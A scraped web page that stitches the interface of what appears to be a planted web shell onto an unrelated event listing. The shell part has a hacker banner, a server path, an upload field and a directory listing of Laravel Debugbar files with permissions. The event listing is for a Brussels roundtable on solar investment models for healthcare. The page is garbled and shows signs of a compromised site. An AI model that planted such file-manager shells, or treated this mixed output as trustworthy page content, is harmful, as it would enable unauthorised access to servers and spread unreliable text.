I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Console-March 19 2024 12:13:160777
Controllers-March 19 2024 12:13:160777
DataCollector-March 19 2024 12:13:160777
DataFormatter-March 19 2024 12:13:160777
DebugbarViewEngine.php1470 KBMarch 12 2024 21:20:340666
Facade.php1058 KBMarch 12 2024 21:20:340666
Facades-March 19 2024 12:13:160777
JavascriptRenderer.php4460 KBMarch 12 2024 21:20:340666
LaravelDebugbar.php42857 KBMarch 12 2024 21:20:340666
LumenServiceProvider.php914 KBMarch 12 2024 21:20:340666
Middleware-March 19 2024 12:13:160777
Resources-March 19 2024 12:13:160777
ServiceProvider.php4496 KBMarch 12 2024 21:20:340666
Storage-March 19 2024 12:13:160777
Support-March 19 2024 12:13:160777
SymfonyHttpDriver.php1604 KBMarch 12 2024 21:20:340666
Twig-March 19 2024 12:13:160777
debugbar-routes.php1275 KBMarch 12 2024 21:20:340666
helpers.php1745 KBMarch 12 2024 21:20:340666
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: